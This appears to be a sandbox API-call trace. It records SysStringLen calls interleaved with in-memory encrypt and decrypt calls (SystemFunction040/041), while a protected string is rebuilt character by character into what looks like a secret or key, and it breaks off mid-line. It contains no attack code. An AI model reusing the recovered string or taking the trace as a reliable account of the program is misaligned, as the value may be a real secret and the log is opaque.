SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7") returned 0x18 [0134.313] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.313] SysStringLen (param_1="h1tOBrzBEHbloe+Dtﱥ窐肪fi㑤䒲㐄") returned 0x18 [0134.313] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.313] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3720\x66b5\xa129\x4b9e\x263a\x8731\xbf39\x2d5") returned 0x18 [0134.313] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3720\x66b5\xa129\x4b9e\x263a\x8731\xbf39\x2d5") returned 0x18 [0134.313] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.313] SysStringLen (param_1="h1tOBrzBEHbloe+DtE窐肪fi㑤䒲㐄") returned 0x18 [0134.313] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.314] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\xbd6b\x3b8c\x796d\x2622\x2bbc\xe66c\xaed2\x2440") returned 0x18 [0134.314] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\xbd6b\x3b8c\x796d\x2622\x2bbc\xe66c\xaed2\x2440") returned 0x18 [0134.314] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.314] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1肪fi㑤䒲㐄") returned 0x18 [0134.314] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.314] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3da2\xaab5\x91bd\xcd4e\x6886\xdab7\x65d\x248d") returned 0x18 [0134.314] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3da2\xaab5\x91bd\xcd4e\x6886\xdab7\x65d\x248d") returned 0x18 [0134.314] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.314] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1ofi㑤䒲㐄") returned 0x18 [0134.314] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.314] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x4968\x5629\xbbfe\x532c\x932a\x756c\xe70b\x4fc8") returned 0x18 [0134.314] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x4968\x5629\xbbfe\x532c\x932a\x756c\xe70b\x4fc8") returned 0x18 [0134.314] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.314] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW㑤䒲㐄") returned 0x18 [0134.314] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.314] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\xf264\xcb6a\xd716\x169\x103a\x7b4d\xa2a9\x740e") returned 0x18 [0134.315] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\xf264\xcb6a\xd716\x169\x103a\x7b4d\xa2a9\x740e") returned 0x18 [0134.315] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.315] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7䒲㐄") returned 0x18 [0134.315] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.315] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x164f\xf579\xcf16\xaff3\x9664\xdab1\x888b\xa6e9") returned 0x18 [0134.315] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x164f\xf579\xcf16\xaff3\x9664\xdab1\x888b\xa6e9") returned 0x18 [0134.315] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.315] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7L㐄") returned 0x18 [0134.315] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.315] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3775\x8277\x2f57\x4565\xa44f\x64d5\x7448\x6532") returned 0x18 [0134.315] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3775\x8277\x2f57\x4565\xa44f\x64d5\x7448\x6532") returned 0x18 [0134.315] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.315] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7Lt") returned 0x18 [0134.315] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.315] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298") returned 0x18 [0134.315] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298") returned 0x18 [0134.316] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298") returned 0x18 [0134.316] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298") returned 0x20 [0134.316] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.316] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7Ltp㨑枣㝭됾ꇄ㞱쉋") returned 0x20 [0134.316] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.316] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x3dd3\x4c08\xa5ee\x29a1\xbe1b\x538b\x3553\x1944") returned 0x20 [0134.316] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x3dd3\x4c08\xa5ee\x29a1\xbe1b\x538b\x3553\x1944") returned 0x20 [0134.316] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.316] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7Ltpz枣㝭됾ꇄ㞱쉋") returned 0x20 [0134.316] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.316] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\xf662\xea32\x4c47\xa4fe\xdb2\x604f\x9266\x1721") returned 0x20 [0134.316] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\xf662\xea32\x4c47\xa4fe\xdb2\x604f\x9266\x1721") returned 0x20 [0134.316] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.316] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7LtpzZ㝭됾ꇄ㞱쉋") returned 0x20 [0134.316] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.316] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\xece5\xfbe9\xc70a\xc9db\x38f7\x2783\x6754\x19b5") returned 0x20 [0134.317] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\xece5\xfbe9\xc70a\xc9db\x38f7\x2783\x6754\x19b5") returned 0x20 [0134.317] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.317] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7LtpzZD됾ꇄ㞱쉋") returned 0x20 [0134.317] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.317] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x6a3e\x61eb\xaba3\x4afa\x87fc\x2317\xed13\x3c0f") returned 0x20 [0134.317] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x6a3e\x61eb\xaba3\x4afa\x87fc\x2317\xed13\x3c0f") returned 0x20 [0134.317] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.317] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7LtpzZDHꇄ㞱쉋") returned 0x20 [0134.317] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.317] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x97f7\x37d\x8b12\xc356\xb916\x9524\xd9ac\xd4dd") returned 0x20 [0134.317] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x97f7\x37d\x8b12\xc356\xb916\x9524\xd9ac\xd4dd") returned 0x20 [0134.317] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.317] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7LtpzZDHn㞱쉋") returned 0x20 [0134.317] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.317] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x8bf\x609d\xd96e\xc920\xbd06\x938a\x28b3\xfacf") returned 0x20 [0134.317] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x8bf\x609d\xd96e\xc920\xbd06\x938a\x28b3\xfacf") returned 0x20 [0134.317] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.319] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7LtpzZDHnd쉋") returned 0x20 [0134.319] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.319] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\xc300\x2215\x1918\x6361\x383\xe912\xdd88\xa0e4") returned 0x20 [0134.319] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\xc300\x2215\x1918\x6361\x383\xe912\xdd88\xa0e4") returned 0x20 [0134.319] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.319] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7LtpzZDHndp") returned 0x20 [0134.319] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.319] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76") returned 0x20 [0134.319] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76") returned 0x20 [0134.319] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76") returned 0x20 [0134.319] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\x75\x2d\x6c\x6a\x38\x36\x4d\x6b") returned 0x28 [0134.319] SystemFunction041 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.319] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7LtpzZDHndpG蔶龪剥몠봷갗") returned 0x28 [0134.319] SystemFunction040 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.319] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\x6c75\xd757\xc474\x28b4\xc723\xa468\xbf03\x1d7") returned 0x28 [0134.319] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\x6c75\xd757\xc474\x28b4\xc723\xa468\xbf03\x1d7") returned 0x28 [0134.319] SystemFunction041 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.320] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7LtpzZDHndpGe龪剥몠봷갗") returned 0x28 [0134.320] SystemFunction040 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.320] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\xb77c\xd971\xa2e9\x8cbf\x6f68\x6988\xba1e\xec2d") returned 0x28 [0134.320] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\xb77c\xd971\xa2e9\x8cbf\x6f68\x6988\xba1e\xec2d") returned 0x28 [0134.320] SystemFunction041 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.320] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7LtpzZDHndpGe8剥몠봷갗") returned 0x28 [0134.320] SystemFunction040 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.320] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\xd1b\x9acd\x34\x865a\x67b8\xbc64\x14b\x2293") returned 0x28 [0134.320] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\xd1b\x9acd\x34\x865a\x67b8\xbc64\x14b\x2293") returned 0x28 [0134.320] SystemFunction041 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.320] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7LtpzZDHndpGe8H몠봷갗") returned 0x28 [0134.320] SystemFunction040 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.320] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\xf784\xfc7f\x7e42\xd2b1\xe05d\x8e1b\x41f6\x9a") returned 0x28 [0134.320] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\xf784\xfc7f\x7e42\xd2b1\xe05d\x8e1b\x41f6\x9a") returned 0x28 [0134.320] SystemFunction041 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.321] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7LtpzZDHndpGe8HP봷갗") returned 0x28 [0134.321] SystemFunction040 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.321] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\xd854\x2bcf\x93d9\x8232\x7569\x98\xded3\xd2a3") returned 0x28 [0134.321] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\xd854\x2bcf\x93d9\x8232\x7569\x98\xded3\xd2a3") returned 0x28 [0134.321] SystemFunction041 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.321] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7LtpzZDHndpGe8HPI갗") returned 0x28 [0134.321] SystemFunction040 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.321] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\x1cca\xe2ea\xe9ba\x9a0\xdcb\x4d99\xf9ea\x18f3") returned 0x28 [0134.321] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\x1cca\xe2ea\xe9ba\x9a0\xdcb\x4d99\xf9ea\x18f3") returned 0x28 [0134.321] SystemFunction041 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.321] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7LtpzZDHndpGe8HPIP") returned 0x28 [0134.321] SystemFunction040 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.321] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\x3346\x4814\xd98c\x942c\x1ac9\x1db7\x797b\x60d8") returned 0x28 [0134.321] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\x3346\x4814\xd98c\x942c\x1ac9\x1db7\x797b\x60d8") returned 0x28 [0134.321] SystemFunction041 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.322] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7LtpzZDHndpGe8HPIPC") returned 0x28 [0134.322] SystemFunction040 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.322] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\xddb8\xf62a\xc30e\xaafe\xf8c5\x3a41\x5510\x9dd") returned 0x28 [0134.322] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\xddb8\xf62a\xc30e\xaafe\xf8c5\x3a41\x5510\x9dd") returned 0x28 [0134.322] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\xddb8\xf62a\xc30e\xaafe\xf8c5\x3a41\x5510\x9dd") returned 0x28 [0134.322] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\xddb8\xf62a\xc30e\xaafe\xf8c5\x3a41\x5510\x9dd") returned 0x30 [0134.322] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0134.322] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7LtpzZDHndpGe8HPIPC5끆꯸㰅⻔ძ㤎") returned 0x30 [0134.322] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0134.322] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\xddb8\xf62a\xc30e\xaafe\xf8c5\x3a41\x5510\x9dd\x642a\x3ac\xe19a\xaf9c\xa8b9\xf6a9\x64de\x497d") returned 0x30 [0134.322] SysStringLen 